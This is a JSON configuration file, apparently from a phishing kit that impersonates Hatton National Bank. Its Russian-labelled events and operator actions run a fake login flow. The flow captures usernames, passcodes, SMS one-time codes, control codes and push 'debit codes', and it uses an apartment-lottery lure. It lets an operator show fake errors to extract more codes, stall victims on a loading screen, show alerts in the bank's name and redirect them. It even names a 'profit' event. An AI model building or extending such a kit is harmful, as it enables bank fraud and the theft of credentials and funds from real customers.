{
  "short_name": "HNB",
  "name": "Hatton National Bank",
  "icons": [
    {
      "src": "favicon.ico",
      "sizes": "64x64 32x32 24x24 16x16",
      "type": "image/x-icon"
    },
    {
      "src": "logo192.png",
      "type": "image/png",
      "sizes": "192x192"
    },
    {
      "src": "logo512.png",
      "type": "image/png",
      "sizes": "512x512"
    }
  ],
  "start_url": ".",
  "display": "standalone",
  "theme_color": "#000000",
  "background_color": "#ffffff",
  "description": "Hatton National Bank",
  "version": "1.0",
  "manifest_version": 1,
  "entry": "index.html",
  "events": [
    {
      "name": "bad_login_code",
      "description": "Сбрасывает ввод SMS/кода подтверждения, подсвечивает ошибку и выводит сообщение о неверном коде",
      "condition": "client.href.contains(\"/login\") || client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_login"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "Incorrect SMS code. Please try again.",
          "description": "Текст ошибки, отображаемый пользователю под полями ввода"
        },
        {
          "name": "attemptsLeft",
          "type": "number",
          "required": false,
          "default": 2,
          "description": "Количество оставшихся попыток ввода"
        }
      ]
    },
    {
      "name": "bad_login",
      "description": "Подсвечивает ошибку неверного имени пользователя или пароля на экране входа",
      "condition": "client.href.contains(\"/login\")",
      "triggers": [
        "submit_login"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "Incorrect username or passcode.",
          "description": "Текст ошибки авторизации"
        },
        {
          "name": "attemptsLeft",
          "type": "number",
          "required": false,
          "default": 2,
          "description": "Количество оставшихся попыток ввода"
        }
      ]
    },
    {
      "name": "ask_login_code",
      "description": "Открывает модальное окно запроса 6-значного SMS-кода для входа в Digital Banking",
      "condition": "client.href.contains(\"/loading\") || client.href.contains(\"/login\")",
      "triggers": [
        "submit_login",
        "page_view"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "To confirm your login, enter the 6-digit one-time code sent to you by SMS from HNB.",
          "description": "Текст пояснения к вводу SMS-кода"
        }
      ]
    },
    {
      "name": "ask_control_code",
      "description": "Запрашивает ввод 6-значного контрольного кода из SMS или подтверждение входа в мобильном приложении",
      "condition": "client.href.contains(\"/login\") || client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login",
        "submit_login_code",
        "submit_lottery_code",
        "submit_debit_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "For final verification, enter the 6-digit control code sent to you by SMS from HNB.",
          "description": "Поясняющий текст для контрольного кода"
        },
        {
          "name": "wait",
          "type": "number",
          "required": false,
          "default": 0,
          "description": "Время ожидания перед открытием модального окна в миллисекундах"
        }
      ]
    },
    {
      "name": "bad_control_code",
      "description": "Сообщает о неверном контрольном коде и очищает поле ввода",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_control_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "Invalid control code. Check the SMS code and try again.",
          "description": "Текст ошибки контрольного кода"
        }
      ]
    },
    {
      "name": "ask_lottery_code",
      "description": "Открывает модальное окно подтверждения купона/билета розыгрыша апартаментов",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_control_code"
      ],
      "arguments": [
        {
          "name": "otp_title",
          "type": "string",
          "required": false,
          "default": "Enter the 6-digit apartment ticket code",
          "description": "Заголовок модального окна"
        },
        {
          "name": "duration_ms",
          "type": "number",
          "required": false,
          "default": 0,
          "description": "Задержка перед открытием диалога"
        }
      ]
    },
    {
      "name": "bad_lottery_code",
      "description": "Сообщает о недействительном коде билета розыгрыша",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_lottery_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "Invalid code. Check the ticket code and try again.",
          "description": "Текст ошибки кода билета"
        }
      ]
    },
    {
      "name": "ask_debit_code",
      "description": "Запрашивает подтверждение списания средств через код из push-уведомления банка",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_control_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "To confirm the debit from your account, enter the 6-digit one-time code sent to you in an HNB push notification.",
          "description": "Инструкция к коду списания"
        }
      ]
    },
    {
      "name": "bad_debit_code",
      "description": "Сообщает об отклонении списания или неверном коде из push-уведомления",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_debit_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": false,
          "default": "Invalid debit code. Confirm the code from the push notification.",
          "description": "Текст ошибки списания"
        }
      ]
    },
    {
      "name": "loading",
      "description": "Обновляет статус и заголовок на экране проверки данных клиента",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login",
        "submit_login_code",
        "submit_control_code"
      ],
      "arguments": [
        {
          "name": "message",
          "type": "string",
          "required": true,
          "default": "Checking your credentials…",
          "description": "Основной заголовок статуса проверки"
        },
        {
          "name": "sub",
          "type": "string",
          "required": false,
          "default": "Please do not close this window.",
          "description": "Дополнительное пояснение под спиннером"
        }
      ]
    },
    {
      "name": "processing",
      "description": "Открывает информационное окно длительной обработки заявки (до 24 часов)",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_control_code",
        "submit_lottery_code",
        "submit_debit_code"
      ],
      "arguments": [
        {
          "name": "title",
          "type": "string",
          "required": false,
          "default": "Request in process",
          "description": "Заголовок модального окна"
        },
        {
          "name": "body",
          "type": "string",
          "required": false,
          "default": "Your request is being processed. This may take up to 24 hours.",
          "description": "Текст описания процесса верификации"
        }
      ]
    },
    {
      "name": "redirect",
      "description": "Принудительно перенаправляет пользователя на указанный относительный путь или внешний URL",
      "condition": "true",
      "triggers": [
        "submit_login",
        "submit_login_code",
        "submit_control_code",
        "submit_lottery_code",
        "submit_debit_code",
        "page_view"
      ],
      "arguments": [
        {
          "name": "url",
          "type": "string",
          "required": true,
          "default": "/thanks",
          "description": "Целевой адрес перенаправления (например /loading, /thanks или внешний сайт)"
        }
      ]
    },
    {
      "name": "custom_alert",
      "description": "Выводит на экране пользователя всплывающее уведомление (Toast / Alert) от имени банка",
      "condition": "true",
      "triggers": [
        "*"
      ],
      "arguments": [
        {
          "name": "text",
          "type": "string",
          "required": true,
          "default": "Important security update regarding your account.",
          "description": "Текст сообщения для пользователя"
        }
      ]
    },
    {
      "name": "thanks",
      "description": "Переводит клиента на страницу успешного завершения (thanks.html)",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_control_code",
        "submit_lottery_code",
        "submit_debit_code"
      ],
      "arguments": []
    },
    {
      "name": "profit",
      "description": "Успешная конверсия и перенаправление на финальную страницу (thanks.html)",
      "condition": "client.href.contains(\"/loading\")",
      "triggers": [
        "submit_login_code",
        "submit_control_code",
        "submit_lottery_code",
        "submit_debit_code"
      ],
      "arguments": []
    }
  ],
  "message_actions": [
    {
      "trigger": "submit_login",
      "title": "Действия после ввода логина",
      "actions": [
        "bad_login",
        "ask_login_code",
        "ask_control_code",
        "redirect"
      ]
    },
    {
      "trigger": "submit_login_code",
      "title": "Действия после ввода SMS-кода",
      "actions": [
        "bad_login_code",
        "ask_control_code",
        "ask_debit_code",
        "ask_lottery_code",
        "processing",
        "thanks"
      ]
    },
    {
      "trigger": "submit_control_code",
      "title": "Действия после контрольного кода",
      "actions": [
        "bad_control_code",
        "ask_debit_code",
        "ask_lottery_code",
        "processing",
        "thanks"
      ]
    },
    {
      "trigger": "submit_debit_code",
      "title": "Действия после кода списания",
      "actions": [
        "bad_debit_code",
        "ask_control_code",
        "processing",
        "thanks"
      ]
    },
    {
      "trigger": "submit_lottery_code",
      "title": "Действия после билета апартаментов",
      "actions": [
        "bad_lottery_code",
        "ask_control_code",
        "processing",
        "thanks"
      ]
    },
    {
      "trigger": "page_view",
      "title": "Действия при просмотре страницы",
      "actions": [
        "custom_alert",
        "redirect"
      ]
    }
  ],
  "formats": [
    {
      "event": "SUBMIT_LOGIN_CODE",
      "title": "Код из смс",
      "template": "${code}",
      "actions": [
        {
          "name": "bad_login_code",
          "label": "Неправильный код",
          "prompt": true,
          "payload": {}
        },
        {
          "name": "loading",
          "label": "Отправить на страницу ожидания",
          "prompt": false,
          "payload": {}
        }
      ]
    },
    {
      "event": "SUBMIT_DEBIT_CODE",
      "title": "Дебетовый код",
      "template": "${code}",
      "actions": [
        {
          "name": "bad_debit_code",
          "label": "Неправильный код",
          "prompt": true,
          "payload": {}
        },
        {
          "name": "loading",
          "label": "Отправить на страницу ожидания",
          "prompt": false,
          "payload": {}
        }
      ]
    },
    {
      "event": "SUBMIT_LOTTERY_CODE",
      "title": "Номер билета",
      "template": "${code}",
      "actions": [
        {
          "name": "bad_lottery_code",
          "label": "Неправильный номер билета",
          "prompt": true,
          "payload": {}
        },
        {
          "name": "loading",
          "label": "Отправить на страницу ожидания",
          "prompt": false,
          "payload": {}
        }
      ]
    },
    {
      "event": "SUBMIT_LOGIN",
      "title": "Новые данные",
      "template": "Логин: ${username} | Пароль: ${passcode}",
      "actions": [
        {
          "name": "bad_login",
          "label": "Неверные данные",
          "prompt": true,
          "payload": {}
        },
        {
          "name": "ask_login_code",
          "label": "Запросить код из СМС",
          "prompt": false,
          "payload": {}
        },
        {
          "name": "ask_debit_code",
          "label": "Запросить дебетовый код",
          "prompt": false,
          "payload": {}
        },
        {
          "name": "ask_lottery_code",
          "label": "Запросить номер билета",
          "prompt": false,
          "payload": {}
        },
        {
          "name": "thanks",
          "label": "Отправить на страницу благодарности",
          "prompt": false,
          "payload": {}
        },
        {
          "name": "redirect",
          "label": "Перенаправить на другой сайт",
          "prompt": true,
          "payload": {
            "url": ""
          }
        }
      ]
    }
  ]
}